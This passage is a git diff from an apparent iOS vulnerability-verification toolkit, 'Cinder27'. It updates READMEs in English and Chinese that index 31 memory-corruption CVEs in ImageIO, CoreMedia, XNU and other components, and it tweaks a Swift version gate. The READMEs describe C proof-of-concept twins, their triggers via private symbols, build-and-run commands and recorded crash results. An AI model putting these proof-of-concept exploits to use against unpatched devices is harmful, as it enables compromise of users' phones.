ImageIO · decodeStripChunky | info leak | in-process | TIFF truncated strip → uninitialised heap into pixels | `CVE-2026-112632.swift` · `CVE-2026-112632.c` | +| [CVE-2026-112633 / 112614](CVE-2026-112633/) | `iio.tiff.planar`, `iio.pdf.raster` | ImageIO · decodeStripPlanar | OOB write | in-process | TIFF planar scatter out-of-bounds write | `CVE-2026-112633.swift` · `CVE-2026-112633.c` | +| [CVE-2026-112634](CVE-2026-112634/) | `iio.jpeg.marker` | ImageIO · _JPEGFile::processData | OOB read | in-process | JPEG marker length out of bounds | `CVE-2026-112634.swift` · `CVE-2026-112634.c` | +| [CVE-2026-112638](CVE-2026-112638/) | `aud.lc3` | AudioCodecs · ACLC3Decoder::AppendInputData | OOB write | entitlement-gated | LC3 decoder input buffer overflow | `CVE-2026-112638.swift` · `CVE-2026-112638.c` | +| [CVE-2026-112646](CVE-2026-112646/) | `sb.stash` | SpringBoard · SBHomeScreenService | OOB write | system process | SpringBoard stashed layout name validation | `CVE-2026-112646.swift` · `CVE-2026-112646.c` | +| [CVE-2026-112656](CVE-2026-112656/) | `font.gdef` | CoreText · GetLigatureCaretPositionsForGlyph | OOB read | in-process | GDEFLigatureCaret offset-chain out-of-bounds read | `CVE-2026-112656.swift` · `CVE-2026-112656.c` | +| [CVE-2026-112683](CVE-2026-112683/) | `font.cff` | FontParser · charstring interpreter | OOB write | in-process | CFF Type2 charstring operand stack overflow | `CVE-2026-112683.py` · `CVE-2026-112683.swift` · `CVE-2026-112683.c` | +| [CVE-2026-112688](CVE-2026-112688/) | `cm.rpu`, `cm.rpu.sweep` | CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks | OOB write | system process | Dolby Vision RPU extension metadata block array overrun | `CVE-2026-112688.swift` · `CVE-2026-112688.c` | +| [CVE-2026-112696 / 84494](CVE-2026-112696/) | `probe.ane` | AppleH16ANEInterface | OOB write | kernel | ANE kernel interface reachability | `CVE-2026-112696.swift` · `CVE-2026-112696.c` | +| [CVE-2026-112706](CVE-2026-112706/) | `cm.fdleak`, `cm.fdleak.boundary` | CoreMedia · mediaplaybackd.bytestream.xpc | info leak | system process | CoreMedia bytestream XPC cross-sandbox file descriptor acquisition | `CVE-2026-112706.swift` · `CVE-2026-112706.c` | +| [CVE-2026-113907](CVE-2026-113907/) | `aud.haptic`, `aud.immersive` | AudioToolbox · AVHapticServerInstance | OOB write | system process | AVHaptic custom audio event format validation | `CVE-2026-113907.swift` · `CVE-2026-113907.c` | +| [CVE-2026-113910](CVE-2026-113910/) | `kern.decmpfs` | XNU · AppleFSCompressionTypeZlib | info leak | kernel | decmpfs chunked decompression under-produce → kernel heap disclosure | `CVE-2026-113910.swift` · `CVE-2026-113910.c` | +| [CVE-2026-113912 / 86972](CVE-2026-113912/) | `aud.drc` | AudioCodecs · mpddrc::UniDrcSelection | OOB read | system process | MPEG-D DRC downmix matrix coefficient validation | `CVE-2026-113912.swift` · `CVE-2026-113912.c` | +| [CVE-2026-65385](CVE-2026-65385/) | `kext.iohid` | IOKit.framework · IOHIDEventAppendEvent | OOB write | kernel | IOKit event short-heap fixed-offset write | `CVE-2026-65385.swift` · `CVE-2026-65385.c` | ## Modules without a CVE — 11 @@ -82,6 +82,18 @@ Five sections, everything except comments extracted verbatim from the Cinder27 s The `.py` in seed folders is the same builder in its original Python (from `scripts/gen_seeds.py`) with a `__main__` writer — runnable as-is. +## Anatomy of a POC file (.c) + +Every CVE folder carries a C twin — the same verification in plain C, compiling and running directly on a macOS arm64 host (no Swift runtime, no app dependency): + +1. **Header** — module · framework · vulnerable function · CVE, the bug class in one line, a `C twin of the Swift POC` note, and `Build:` / `Run:` lines; multi-variant modules note which variant runs inside `main()` +2. **Seed construction** — the same payload grammar as the Swift builder, hand-rolled: bit writers, byte buffers, struct emission +3. **Trigger** — the vulnerable entry point itself. Public frameworks link directly (`VTDecompressionSessionCreate`, `AudioConverterNew`, `CGFontCreateWithDataProvider`); private symbols resolve live via `dlsym` (`CMGetDMVersionLevelFromRPU`, the `Fig*` XPC family, `IOHIDEvent*`) +4. **Oracle** — printed to stdout: OSStatus codes, parse-entry refusals, XPC reply types, signal / crash outcomes +5. **`main()`** — argument-parameterised where the Swift version is (depth, block-count, path); the seed file is written to the working directory for inspection + +All 31 compile clean with `clang -O2 -Wall` — zero warnings — and each has a recorded oracle from this exact host. + ## Running ```bash @@ -98,6 +110,12 @@ xcrun swiftc -parse-as-library -swift-version 5 -sdk "$(xcrun --sdk macosx --sho # Full triggers (decode, races, crash oracles) run inside the app harness bash scripts/build-sim.sh # → build/sim/Cinder27.app, installed to the booted simulator + +# C POC twins — compile + run standalone (macOS arm64) +clang -O2 -Wall -o /tmp/c112522 CVE-2026-112522/CVE-2026-112522.c # plain C, no frameworks +/tmp/c112522 # → SIGTRAP: the 2-byte OOB write +clang -O2 -Wall -o /tmp/c112706 CVE-2026-112706/CVE-2026-112706.c -fblocks -framework CoreFoundation +/tmp/c112706 # → FigXPC handshake, 'Connection invalid' ``` ## Building the harness app @@ -110,13 +128,15 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app (arm64 simulator) python3 scripts/gen_seeds.py # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs) ``` -Device install: bundle id `com.jbjf.cinder27` (v1.0 build 2), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload. +Device install: bundle id `com.jbjf.cinder27` (v2.0 build 3), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload. ## Verification status Full 51-module regression (simulator build): **47 done + 4 armed**. -Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV — CVE-2026-112688's struct out-of-bounds write genuinely lands on the simulator build. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung. +Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung. + +All 31 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s (decmpfs does not engage for files with existing data). The rest refuse at the entry layer — same receipts as the app harness. ## Module semantics diff --git a/README.zh-CN.md b/README.zh-CN.md index cc55e3c..5d08c32 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -10,11 +10,11 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶 | 区块 | 内容 | |---|---| -| `CVE-2026-XXXX/`(31 个) | 每个 CVE 一个文件夹,POC 本体在文件夹内:`.py` 种子构建器(可独立运行)和/或 `.swift` 种子构造 + 触发闭包(可独立 typecheck) | +| `CVE-2026-XXXX/`(31 个) | 每个 CVE 一个文件夹,POC 本体在文件夹内:`.py` 种子构建器(可独立运行)、`.swift` 种子构造 + 触发闭包(可独立 typecheck),以及 `.c` 双子——种子 + 触发 + `main()` 自包含,在 macOS arm64 上独立编译运行 | | `<模块名>/`(11 个) | 无 CVE 编号的模块——工具、探针、基线、沙盒原语——按模块 id 命名,同样一文件夹一文件 | | `Sources/` `scripts/` `Resources/` `Info.plist` | Cinder27 app 主体(验证台本体,构建见下) | -共 42 个 Swift POC 文件(全部通过独立 typecheck)+ 5 个 Python 种子构建器(产物与 app 内置种子逐字节一致)。 +共 42 个 Swift POC 文件(全部通过独立 typecheck)+ 5 个 Python 种子构建器(产物与 app 内置种子逐字节一致)+ 31 个 C POC 文件(macOS arm64 上 `clang -O2 -Wall` 零警告编译通过,各自带一份记录在案的 oracle)。 ## POC 索引 — 31 个 CVE 文件夹 @@ -22,37 +22,37 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶 | CVE | 模块 | 组件 | 原语 | 触达 | 标题 | 文件 | |---|---|---|---|---|---|---| -| [CVE-2026-112415](CVE-2026-112415/) | `vid.hevc` | AVD.videodecoder 插件 | OOB 读 | 系统进程 | MVHEVC 层 ID 越界 | `CVE-2026-112415.swift` | -| [CVE-2026-112416](CVE-2026-112416/) | `vid.avc` | AVD.videodecoder 插件(非 kext) | OOB 写 | 系统进程 | AVC 切片数量上限缺失 | `CVE-2026-112416.swift` | -| [CVE-2026-112485](CVE-2026-112485/) | `mdl.usda` | Model I/O · libusd_ms | OOB 读 | 进程内 | USDA 声明嵌套深度 | `CVE-2026-112485.py` · `CVE-2026-112485.swift` | -| [CVE-2026-112488](CVE-2026-112488/) | `iio.tiff.direntry` | ImageIO · TIFFReadDirEntry*Array | OOB 写 | 进程内 | TIFF 目录项分配 32 位截断 | `CVE-2026-112488.swift` | -| [CVE-2026-112507 / 112476](CVE-2026-112507/) | `kern.ipc` | XNU · ipc_port.c 请求表消费方 | UAF | 内核 | ipc_port 请求表索引竞态 | `CVE-2026-112507.swift` | -| [CVE-2026-112515](CVE-2026-112515/) | `probe.hid` | IOHIDFamily · caps 表查找 | OOB 读 | 外设 | IOHIDFamily 预解析数据表索引 | `CVE-2026-112515.swift` | -| [CVE-2026-112522](CVE-2026-112522/) | `arc.iso`, `arc.iso.stress`, `arc.cab` | libarchive · build_pathname_utf16be | OOB 写 | 进程内 | ISO9660 Joliet 路径名堆溢出 | `CVE-2026-112522.py` · `CVE-2026-112522.swift` | -| [CVE-2026-112546](CVE-2026-112546/) | `aud.hoa` | AudioCodecs · APACHOADecoder::Initialize | OOB 读 | 系统进程 | HOA 空间音频系数越界读 | `CVE-2026-112546.swift` | -| [CVE-2026-112554](CVE-2026-112554/) | `kext.gpt` | IOStorageFamily | OOB 读 | 内核 | GPT 分区名扫描 72 字节内核堆越界读 | `CVE-2026-112554.swift` | -| [CVE-2026-112571](CVE-2026-112571/) | `iio.jpeg.comment` | ImageIO · ReadUserComment | 信息泄露 | 进程内 | EXIF UserComment 短读 → 元数据泄露 | `CVE-2026-112571.swift` | -| [CVE-2026-112610](CVE-2026-112610/) | `cg.cmap` | CoreGraphics · _cmap_convert | OOB 写 | 进程内 | CMap /UseCMap 递归越界写(负结果探针) | `CVE-2026-112610.swift` | -| [CVE-2026-112611](CVE-2026-112611/) | `cg.shading`, `cg.shading.sweep` | CoreGraphics · _cg_shading_type5_draw | OOB 写 | 进程内 | Type-5 阴影栈溢出(值可控 OOB 写) | `CVE-2026-112611.swift` | -| [CVE-2026-112619](CVE-2026-112619/) | `cal.unzip` | CalendarFoundation · _UnzipArchiveWithLimits | OOB 写 | 系统进程 | 日历附件解压容器逃逸 | `CVE-2026-112619.swift` | -| [CVE-2026-112625](CVE-2026-112625/) | `iio.ktx2`, `iio.pvr` | ImageIO · KTX2ReadPlugin | 整数溢出 | 进程内 | KTX2 维度/层级尺寸运算 | `CVE-2026-112625.py` · `CVE-2026-112625.swift` | -| [CVE-2026-112627](CVE-2026-112627/) | `iio.dds.bc7`, `iio.appx` | ImageIO · BCReadPlugin::initialize | OOB 读 | 进程内 | BC7 纹理 mip 截断 | `CVE-2026-112627.swift` | -| [CVE-2026-112629](CVE-2026-112629/) | `iio.jpeg.gps` | ImageIO · GPSCopy::processData | OOB 读 | 进程内 | GPS IFD 值偏移越界 | `CVE-2026-112629.swift` | -| [CVE-2026-112630](CVE-2026-112630/) | `iio.apng.fctl` | ImageIO · IIO_Reader_PNG::getImageCount | 信息泄露 | 进程内 | APNG fcTL 截断 → 栈上未初始化帧几何 | `CVE-2026-112630.swift` | -| [CVE-2026-112632](CVE-2026-112632/) | `iio.tiff.trunc` | ImageIO · decodeStripChunky | 信息泄露 | 进程内 | TIFF 截断条带 → 未初始化堆进像素 | `CVE-2026-112632.swift` | -| [CVE-2026-112633 / 112614](CVE-2026-112633/) | `iio.tiff.planar`, `iio.pdf.raster` | ImageIO · decodeStripPlanar | OOB 写 | 进程内 | TIFF planar 散写越界 | `CVE-2026-112633.swift` | -| [CVE-2026-112634](CVE-2026-112634/) | `iio.jpeg.marker` | ImageIO · _JPEGFile::processData | OOB 读 | 进程内 | JPEG 标记长度越界 | `CVE-2026-112634.swift` | -| [CVE-2026-112638](CVE-2026-112638/) | `aud.lc3` | AudioCodecs · ACLC3Decoder::AppendInputData | OOB 写 | 权限受限 | LC3 解码器输入缓冲溢出 | `CVE-2026-112638.swift` | -| [CVE-2026-112646](CVE-2026-112646/) | `sb.stash` | SpringBoard · SBHomeScreenService | OOB 写 | 系统进程 | SpringBoard 布局名 stash 校验 | `CVE-2026-112646.swift` | -| [CVE-2026-112656](CVE-2026-112656/) | `font.gdef` | CoreText · GetLigatureCaretPositionsForGlyph | OOB 读 | 进程内 | GDEFLigatureCaret 追链越界读 | `CVE-2026-112656.swift` | -| [CVE-2026-112683](CVE-2026-112683/) | `font.cff` | FontParser · charstring 解释器 | OOB 写 | 进程内 | CFF Type2 charstring 操作数栈溢出 | `CVE-2026-112683.py` · `CVE-2026-112683.swift` | -| [CVE-2026-112688](CVE-2026-112688/) | `cm.rpu`, `cm.rpu.sweep` | CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks | OOB 写 | 系统进程 | Dolby Vision RPU 扩展元数据块数组越界 | `CVE-2026-112688.swift` | -| [CVE-2026-112696 / 84494](CVE-2026-112696/) | `probe.ane` | AppleH16ANEInterface | OOB 写 | 内核 | ANE 内核接口可达性 | `CVE-2026-112696.swift` | -| [CVE-2026-112706](CVE-2026-112706/) | `cm.fdleak`, `cm.fdleak.boundary` | CoreMedia · mediaplaybackd.bytestream.xpc | 信息泄露 | 系统进程 | CoreMedia bytestream XPC 跨沙盒文件描述符获取 | `CVE-2026-112706.swift` | -| [CVE-2026-113907](CVE-2026-113907/) | `aud.haptic`, `aud.immersive` | AudioToolbox · AVHapticServerInstance | OOB 写 | 系统进程 | AVHaptic 自定义音频事件格式校验 | `CVE-2026-113907.swift` | -| [CVE-2026-113910](CVE-2026-113910/) | `kern.decmpfs` | XNU · AppleFSCompressionTypeZlib | 信息泄露 | 内核 | decmpfs 分块解压欠产出 → 内核堆泄露 | `CVE-2026-113910.swift` | -| [CVE-2026-113912 / 86972](CVE-2026-113912/) | `aud.drc` | AudioCodecs · mpddrc::UniDrcSelection | OOB 读 | 系统进程 | MPEG-D DRC 下混矩阵系数校验 | `CVE-2026-113912.swift` | -| [CVE-2026-65385](CVE-2026-65385/) | `kext.iohid` | IOKit.framework · IOHIDEventAppendEvent | OOB 写 | 内核 | IOKit 事件短堆固定偏移写 | `CVE-2026-65385.swift` | +| [CVE-2026-112415](CVE-2026-112415/) | `vid.hevc` | AVD.videodecoder 插件 | OOB 读 | 系统进程 | MVHEVC 层 ID 越界 | `CVE-2026-112415.swift` · `CVE-2026-112415.c` | +| [CVE-2026-112416](CVE-2026-112416/) | `vid.avc` | AVD.videodecoder 插件(非 kext) | OOB 写 | 系统进程 | AVC 切片数量上限缺失 | `CVE-2026-112416.swift` · `CVE-2026-112416.c` | +| [CVE-2026-112485](CVE-2026-112485/) | `mdl.usda` | Model I/O · libusd_ms | OOB 读 | 进程内 | USDA 声明嵌套深度 | `CVE-2026-112485.py` · `CVE-2026-112485.swift` · `CVE-2026-112485.c` | +| [CVE-2026-112488](CVE-2026-112488/) | `iio.tiff.direntry` | ImageIO · TIFFReadDirEntry*Array | OOB 写 | 进程内 | TIFF 目录项分配 32 位截断 | `CVE-2026-112488.swift` · `CVE-2026-112488.c` | +| [CVE-2026-112507 / 112476](CVE-2026-112507/) | `kern.ipc` | XNU · ipc_port.c 请求表消费方 | UAF | 内核 | ipc_port 请求表索引竞态 | `CVE-2026-112507.swift` · `CVE-2026-112507.c` | +| [CVE-2026-112515](CVE-2026-112515/) | `probe.hid` | IOHIDFamily · caps 表查找 | OOB 读 | 外设 | IOHIDFamily 预解析数据表索引 | `CVE-2026-112515.swift` · `CVE-2026-112515.c` | +| [CVE-2026-112522](CVE-2026-112522/) | `arc.iso`, `arc.iso.stress`, `arc.cab` | libarchive · build_pathname_utf16be | OOB 写 | 进程内 | ISO9660 Joliet 路径名堆溢出 | `CVE-2026-112522.py` · `CVE-2026-112522.swift` · `CVE-2026-112522.c` | +| [CVE-2026-112546](CVE-2026-112546/) | `aud.hoa` | AudioCodecs · APACHOADecoder::Initialize | OOB 读 | 系统进程 | HOA 空间音频系数越界读 | `CVE-2026-112546.swift` · `CVE-2026-112546.c` | +| [CVE-2026-112554](CVE-2026-112554/) | `kext.gpt` | IOStorageFamily | OOB 读 | 内核 | GPT 分区名扫描 72 字节内核堆越界读 | `CVE-2026-112554.swift` · `CVE-2026-112554.c` | +| [CVE-2026-112571](CVE-2026-112571/) | `iio.jpeg.comment` | ImageIO · ReadUserComment | 信息泄露 | 进程内 | EXIF UserComment 短读 → 元数据泄露 | `CVE-2026-112571.swift` · `CVE-2026-112571.c` | +| [CVE-2026-112610](CVE-2026-112610/) | `cg.cmap` | CoreGraphics · _cmap_convert | OOB 写 | 进程内 | CMap /UseCMap 递归越界写(负结果探针) | `CVE-2026-112610.swift` · `CVE-2026-112610.c` | +| [CVE-2026-112611](CVE-2026-112611/) | `cg.shading`, `cg.shading.sweep` | CoreGraphics · _cg_shading_type5_draw | OOB 写 | 进程内 | Type-5 阴影栈溢出(值可控 OOB 写) | `CVE-2026-112611.swift` · `CVE-2026-112611.c` | +| [CVE-2026-112619](CVE-2026-112619/) | `cal.unzip` | CalendarFoundation · _UnzipArchiveWithLimits | OOB 写 | 系统进程 | 日历附件解压容器逃逸 | `CVE-2026-112619.swift` · `CVE-2026-112619.c` | +| [CVE-2026-112625](CVE-2026-112625/) | `iio.ktx2`, `iio.pvr` | ImageIO · KTX2ReadPlugin | 整数溢出 | 进程内 | KTX2 维度/层级尺寸运算 | `CVE-2026-112625.py` · `CVE-2026-112625.swift` · `CVE-2026-112625.c` | +| [CVE-2026-112627](CVE-2026-112627/) | `iio.dds.bc7`, `iio.appx` | ImageIO · BCReadPlugin::initialize | OOB 读 | 进程内 | BC7 纹理 mip 截断 | `CVE-2026-112627.swift` · `CVE-2026-112627.c` | +| [CVE-2026-112629](CVE-2026-112629/) | `iio.jpeg.gps` | ImageIO · GPSCopy::processData | OOB 读 | 进程内 | GPS IFD 值偏移越界 | `CVE-2026-112629.swift` · `CVE-2026-112629.c` | +| [CVE-2026-112630](CVE-2026-112630/) | `iio.apng.fctl` | ImageIO · IIO_Reader_PNG::getImageCount | 信息泄露 | 进程内 | APNG fcTL 截断 → 栈上未初始化帧几何 | `CVE-2026-112630.swift` · `CVE-2026-112630.c` | +| [CVE-2026-112632](CVE-2026-112632/) | `iio.tiff.trunc` | ImageIO · decodeStripChunky | 信息泄露 | 进程内 | TIFF 截断条带 → 未初始化堆进像素 | `CVE-2026-112632.swift` · `CVE-2026-112632.c` | +| [CVE-2026-112633 / 112614](CVE-2026-112633/) | `iio.tiff.planar`, `iio.pdf.raster` | ImageIO · decodeStripPlanar | OOB 写 | 进程内 | TIFF planar 散写越界 | `CVE-2026-112633.swift` · `CVE-2026-112633.c` | +| [CVE-2026-112634](CVE-2026-112634/) | `iio.jpeg.marker` | ImageIO · _JPEGFile::processData | OOB 读 | 进程内 | JPEG 标记长度越界 | `CVE-2026-112634.swift` · `CVE-2026-112634.c` | +| [CVE-2026-112638](CVE-2026-112638/) | `aud.lc3` | AudioCodecs · ACLC3Decoder::AppendInputData | OOB 写 | 权限受限 | LC3 解码器输入缓冲溢出 | `CVE-2026-112638.swift` · `CVE-2026-112638.c` | +| [CVE-2026-112646](CVE-2026-112646/) | `sb.stash` | SpringBoard · SBHomeScreenService | OOB 写 | 系统进程 | SpringBoard 布局名 stash 校验 | `CVE-2026-112646.swift` · `CVE-2026-112646.c` | +| [CVE-2026-112656](CVE-2026-112656/) | `font.gdef` | CoreText · GetLigatureCaretPositionsForGlyph | OOB 读 | 进程内 | GDEFLigatureCaret 追链越界读 | `CVE-2026-112656.swift` · `CVE-2026-112656.c` | +| [CVE-2026-112683](CVE-2026-112683/) | `font.cff` | FontParser · charstring 解释器 | OOB 写 | 进程内 | CFF Type2 charstring 操作数栈溢出 | `CVE-2026-112683.py` · `CVE-2026-112683.swift` · `CVE-2026-112683.c` | +| [CVE-2026-112688](CVE-2026-112688/) | `cm.rpu`, `cm.rpu.sweep` | CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks | OOB 写 | 系统进程 | Dolby Vision RPU 扩展元数据块数组越界 | `CVE-2026-112688.swift` · `CVE-2026-112688.c` | +| [CVE-2026-112696 / 84494](CVE-2026-112696/) | `probe.ane` | AppleH16ANEInterface | OOB 写 | 内核 | ANE 内核接口可达性 | `CVE-2026-112696.swift` · `CVE-2026-112696.c` | +| [CVE-2026-112706](CVE-2026-112706/) | `cm.fdleak`, `cm.fdleak.boundary` | CoreMedia · mediaplaybackd.bytestream.xpc | 信息泄露 | 系统进程 | CoreMedia bytestream XPC 跨沙盒文件描述符获取 | `CVE-2026-112706.swift` · `CVE-2026-112706.c` | +| [CVE-2026-113907](CVE-2026-113907/) | `aud.haptic`, `aud.immersive` | AudioToolbox · AVHapticServerInstance | OOB 写 | 系统进程 | AVHaptic 自定义音频事件格式校验 | `CVE-2026-113907.swift` · `CVE-2026-113907.c` | +| [CVE-2026-113910](CVE-2026-113910/) | `kern.decmpfs` | XNU · AppleFSCompressionTypeZlib | 信息泄露 | 内核 | decmpfs 分块解压欠产出 → 内核堆泄露 | `CVE-2026-113910.swift` · `CVE-2026-113910.c` | +| [CVE-2026-113912 / 86972](CVE-2026-113912/) | `aud.drc` | AudioCodecs · mpddrc::UniDrcSelection | OOB 读 | 系统进程 | MPEG-D DRC 下混矩阵系数校验 | `CVE-2026-113912.swift` · `CVE-2026-113912.c` | +| [CVE-2026-65385](CVE-2026-65385/) | `kext.iohid` | IOKit.framework · IOHIDEventAppendEvent | OOB 写 | 内核 | IOKit 事件短堆固定偏移写 | `CVE-2026-65385.swift` · `CVE-2026-65385.c` | ## 无 CVE 模块 — 11 个 @@ -82,6 +82,18 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶 种子组的 `.py` 是同一构建器的 Python 原文(来自 `scripts/gen_seeds.py`),带 `__main__` 写盘入口,可直接运行。 +## C POC 文件(.c)的结构 + +每个 CVE 文件夹还带一个 C 双子——同一验证的纯 C 实现,直接在 macOS arm64 主机上编译运行(无 Swift 运行时、不依赖 app): + +1. **头部注释** —— 模块 · 框架 · 漏洞函数 · CVE,一行漏洞类别,`C twin of the Swift POC` 标注,`Build:` / `Run:` 行;多变体模块注明哪个变体在 `main()` 里跑 +2. **种子构造** —— 与 Swift 构建器相同的载荷文法,纯手写:位写入器、字节缓冲、结构体发射 +3. **触发** —— 漏洞入口本身。公开框架直接链接(`VTDecompressionSessionCreate`、`AudioConverterNew`、`CGFontCreateWithDataProvider`);私有符号运行时 `dlsym` 解析(`CMGetDMVersionLevelFromRPU`、`Fig*` XPC 家族、`IOHIDEvent*`) +4. **预言机** —— 打印到 stdout:OSStatus 码、入口拒绝回执、XPC 回复类型、信号/崩溃结果 +5. **`main()`** —— Swift 版可参数化的地方同样参数化(深度、块数、路径);种子文件写入工作目录备查 + +31 个全部 `clang -O2 -Wall` 零警告编译通过,且都在本机跑出记录在案的 oracle。 + ## 运行 ```bash @@ -98,6 +110,12 @@ xcrun swiftc -parse-as-library -swift-version 5 -sdk "$(xcrun --sdk macosx --sho # 完整触发(解码、竞态、崩溃 oracle)在 app 验证台内执行 bash scripts/build-sim.sh # → build/sim/Cinder27.app 并安装到已启动的模拟器 + +# C 双子 —— 独立编译运行(macOS arm64) +clang -O2 -Wall -o /tmp/c112522 CVE-2026-112522/CVE-2026-112522.c # 纯 C,无框架依赖 +/tmp/c112522 # → SIGTRAP:2 字节越界写 +clang -O2 -Wall -o /tmp/c112706 CVE-2026-112706/CVE-2026-112706.c -fblocks -framework CoreFoundation +/tmp/c112706 # → FigXPC 握手,'Connection invalid' ``` ## 构建验证台 app @@ -110,13 +128,15 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app(arm64 模拟器 python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC 产物逐字节一致) ``` -设备安装:bundle id `com.jbjf.cinder27`(v1.0 build 2),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。 +设备安装:bundle id `com.jbjf.cinder27`(v2.0 build 3),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。 ## 验证状态 51 模块全量回归(模拟器构建):**47 done + 4 armed**。 -armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV——CVE-2026-112688 的结构体外写在模拟器构建上真实命中。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。 +armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV;C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态,而 macOS 导出的是单 `CFDataRef`(反汇编验证:arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`),所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。 + +31 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41(macOS 上带数据的文件不走 decmpfs)。其余都在入口层被拒——与 app 验证台同形回执。 ## 模块语义 diff --git a/Sources/Gate.swift b/Sources/Gate.swift index 63a5a39..3033296 100644 --- a/Sources/Gate.swift +++ b/Sources/Gate.swift @@ -8,8 +8,14 @@ import SwiftUI enum VersionGate { enum Result { - case supported(major: Int, minor: Int, build: String) - case unsupported(major: Int, minor: Int, build: String) + case supported(major: Int, minor: Int, patch: Int, build: String) + case unsupported(major: Int, minor: Int, patch: Int, build: String) + } + + /// "27.0" for a zero patch, "27.0.1" when there is one. The patch is part of the + /// answer — a 27.0.1 device that reports "27.0" is a false reading. + static func versionString(major: Int, minor: Int, patch: Int) -> String { + patch != 0 ? "\(major).\(minor).\(patch)" : "\(major).\(minor)" } static func evaluate() -> Result { @@ -33,12 +39,12 @@ enum VersionGate { supported = false // 27.2+ / 28+ — patched } // An explicit override exists for research builds where the version string lies. - if ProcessInfo.processInfo.environment["CINDER27_FORCE_GATE"] == "1" { - return .supported(major: v.majorVersion, minor: v.minorVersion, build: build) + if ProcessInfo.processInfo.environment["CINDER27_FORCE_GATE"] == "1" { + return .supported(major: v.majorVersion, minor: v.minorVersion, patch: v.patchVersion, build: build) } return supported - ? .supported(major: v.majorVersion, minor: v.minorVersion, build: build) - : .unsupported(major: v.majorVersion, minor: v.minorVersion, build: build) + ? .supported(major: v.majorVersion, minor: v.minorVersion, patch: v.patchVersion, build: build) + : .unsupported(major: v.majorVersion, minor: v.minorVersion, patch: v.patchVersion, build: build) } static var isSupported: Bool { @@ -53,17 +59,17 @@ struct GateView: View { enum Phase { case checking - case supported(major: Int, minor: Int, build: String) - case unsupported(major: Int, minor: Int, build: String) + case supported(major: Int, minor: Int, patch: Int, build: String) + case unsupported(major: Int, minor: Int, patch: Int, build: String) } var body: some View { ZStack { T.bg.ignoresSafeArea() - if entered, case let .supported(major, minor, build) = phase { + if entered, case let .supported(major, minor, patch, build) = phase { RootView() - .environment(\.gateInfo, GateInfo(major: major, minor: minor, build: build)) + .environment(\.gateInfo, GateInfo(major: major, minor: minor, patch: patch, build: build)) .transition(.opacity) } else { content @@ -106,7 +112,7 @@ struct GateView: View { } .padding(.top, 20) - case let .supported(major, minor, build): + case let .supported(major, minor, patch, build): Card { VStack(alignment: .leading, spacing: 10) { HStack(spacing: 8) { @@ -117,7 +123,7 @@ struct GateView: View { .font(.system(size: 15, weight: .semibold, design: .rounded)) .foregroundColor(T.good) } - KeyValueRow(key: t("gate.detected"), value: "iOS \(major).\(minor)") + KeyValueRow(key: t("gate.detected"), value: VersionGate.versionString(major: major, minor: minor, patch: patch)) KeyValueRow(key: t("gate.build"), value: build) KeyValueRow(key: t("gate.required"), value: "17.0 – 27.1") } @@ -129,7 +135,7 @@ struct GateView: View { } .padding(.horizontal, 24) - case let .unsupported(major, minor, build): + case let .unsupported(major, minor, patch, build): Card { VStack(alignment: .leading, spacing: 10) { HStack(spacing: 8) { @@ -140,7 +146,7 @@ struct GateView: View { .font(.system(size: 15, weight: .semibold, design: .rounded)) .foregroundColor(T.bad) } - KeyValueRow(key: t("gate.detected"), value: "iOS \(major).\(minor)", tint: T.bad) + 